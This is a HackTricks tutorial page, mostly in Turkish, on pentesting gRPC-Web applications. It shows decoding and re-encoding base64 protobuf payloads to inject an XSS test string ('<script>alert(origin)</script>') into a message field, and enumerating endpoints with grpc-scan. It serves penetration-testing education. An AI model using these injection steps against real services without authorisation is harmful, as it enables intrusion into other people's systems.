mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 08:01:00 +00:00
161 lines
8.1 KiB
Markdown
161 lines
8.1 KiB
Markdown
# Pentesting gRPC-Web
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## **gRPC-Web Yüklerini Manipüle Etme**
|
||
gRPC-Web, isteklerde `application/grpc-web-text` Content-Type'ını kullanır; bu, base64 kodlu protobuf biçimindedir. [gprc-coder](https://github.com/nxenon/grpc-pentest-suite) aracını kullanabilir ve ayrıca [Burp Suite Extension](https://github.com/nxenon/grpc-pentest-suite) yükleyebilirsiniz.
|
||
|
||
### **gGRPC Coder Aracı ile Manuel**
|
||
1. Öncelikle yükü çözün:
|
||
```bash
|
||
echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
|
||
```
|
||
2. Çözülmüş yükün içeriğini düzenleyin
|
||
```
|
||
nano out.txt
|
||
2: {"Amin Nasiri Xenon GRPC"}
|
||
3: 54
|
||
7: {"<script>alert(origin)</script>"}
|
||
```
|
||
3. Yeni yükü kodlayın
|
||
```bash
|
||
protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
|
||
```
|
||
4. Burp interceptor'da çıktıyı kullanın:
|
||
```
|
||
AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
|
||
```
|
||
### **gRPC-Web Coder Burp Suite Eklentisi ile Manuel**
|
||
[gRPC-Web Pentest Suite](https://github.com/nxenon/grpc-pentest-suite) içinde gRPC-Web Coder Burp Suite Eklentisini kullanabilirsiniz, bu daha kolaydır. Kurulum ve kullanım talimatlarını reposunda okuyabilirsiniz.
|
||
|
||
## **gRPC-Web Javascript Dosyalarını Analiz Etme**
|
||
Her gRPC-Web uygulamasında en az bir Javascript dosyası vardır. Yeni mesajlar, uç noktalar ve hizmetler bulmak için dosyayı analiz edebilirsiniz. [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) aracını kullanmayı deneyin.
|
||
1. Javascript gRPC-Web Dosyasını İndirin
|
||
2. grpc-scan.py ile tarayın:
|
||
```bash
|
||
python3 grpc-scan.py --file main.js
|
||
```
|
||
3. Çıktıyı analiz et ve yeni uç noktaları ve yeni hizmetleri test et:
|
||
```
|
||
Output:
|
||
Found Endpoints:
|
||
/grpc.gateway.testing.EchoService/Echo
|
||
/grpc.gateway.testing.EchoService/EchoAbort
|
||
/grpc.gateway.testing.EchoService/NoOp
|
||
/grpc.gateway.testing.EchoService/ServerStreamingEcho
|
||
/grpc.gateway.testing.EchoService/ServerStreamingEchoAbort
|
||
|
||
Found Messages:
|
||
|
||
grpc.gateway.testing.EchoRequest:
|
||
+------------+--------------------+--------------+
|
||
| Field Name | Field Type | Field Number |
|
||
+============+====================+==============+
|
||
| Message | Proto3StringField | 1 |
|
||
+------------+--------------------+--------------+
|
||
| Name | Proto3StringField | 2 |
|
||
+------------+--------------------+--------------+
|
||
| Age | Proto3IntField | 3 |
|
||
+------------+--------------------+--------------+
|
||
| IsAdmin | Proto3BooleanField | 4 |
|
||
+------------+--------------------+--------------+
|
||
| Weight | Proto3FloatField | 5 |
|
||
+------------+--------------------+--------------+
|
||
| Test | Proto3StringField | 6 |
|
||
+------------+--------------------+--------------+
|
||
| Test2 | Proto3StringField | 7 |
|
||
+------------+--------------------+--------------+
|
||
| Test3 | Proto3StringField | 16 |
|
||
+------------+--------------------+--------------+
|
||
| Test4 | Proto3StringField | 20 |
|
||
+------------+--------------------+--------------+
|
||
|
||
grpc.gateway.testing.EchoResponse:
|
||
+--------------+--------------------+--------------+
|
||
| Field Name | Field Type | Field Number |
|
||
+==============+====================+==============+
|
||
| Message | Proto3StringField | 1 |
|
||
+--------------+--------------------+--------------+
|
||
| Name | Proto3StringField | 2 |
|
||
+--------------+--------------------+--------------+
|
||
| Age | Proto3IntField | 3 |
|
||
+--------------+--------------------+--------------+
|
||
| IsAdmin | Proto3BooleanField | 4 |
|
||
+--------------+--------------------+--------------+
|
||
| Weight | Proto3FloatField | 5 |
|
||
+--------------+--------------------+--------------+
|
||
| Test | Proto3StringField | 6 |
|
||
+--------------+--------------------+--------------+
|
||
| Test2 | Proto3StringField | 7 |
|
||
+--------------+--------------------+--------------+
|
||
| Test3 | Proto3StringField | 16 |
|
||
+--------------+--------------------+--------------+
|
||
| Test4 | Proto3StringField | 20 |
|
||
+--------------+--------------------+--------------+
|
||
| MessageCount | Proto3IntField | 8 |
|
||
+--------------+--------------------+--------------+
|
||
|
||
grpc.gateway.testing.ServerStreamingEchoRequest:
|
||
+-----------------+-------------------+--------------+
|
||
| Field Name | Field Type | Field Number |
|
||
+=================+===================+==============+
|
||
| Message | Proto3StringField | 1 |
|
||
+-----------------+-------------------+--------------+
|
||
| MessageCount | Proto3IntField | 2 |
|
||
+-----------------+-------------------+--------------+
|
||
| MessageInterval | Proto3IntField | 3 |
|
||
+-----------------+-------------------+--------------+
|
||
|
||
grpc.gateway.testing.ServerStreamingEchoResponse:
|
||
+------------+-------------------+--------------+
|
||
| Field Name | Field Type | Field Number |
|
||
+============+===================+==============+
|
||
| Message | Proto3StringField | 1 |
|
||
+------------+-------------------+--------------+
|
||
|
||
grpc.gateway.testing.ClientStreamingEchoRequest:
|
||
+------------+-------------------+--------------+
|
||
| Field Name | Field Type | Field Number |
|
||
+============+===================+==============+
|
||
| Message | Proto3StringField | 1 |
|
||
+------------+-------------------+--------------+
|
||
|
||
grpc.gateway.testing.ClientStreamingEchoResponse:
|
||
+--------------+----------------+--------------+
|
||
| Field Name | Field Type | Field Number |
|
||
+==============+================+==============+
|
||
| MessageCount | Proto3IntField | 1 |
|
||
+--------------+----------------+--------------+
|
||
```
|
||
## Referanslar
|
||
|
||
* [gRPC-Web'e Sızma Makalesi - Amin Nasiri](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
|
||
* [gRPC-Web Pentest Seti](https://github.com/nxenon/grpc-pentest-suite)
|
||
|
||
{% hint style="success" %}
|
||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||
|
||
</details>
|
||
{% endhint %}
|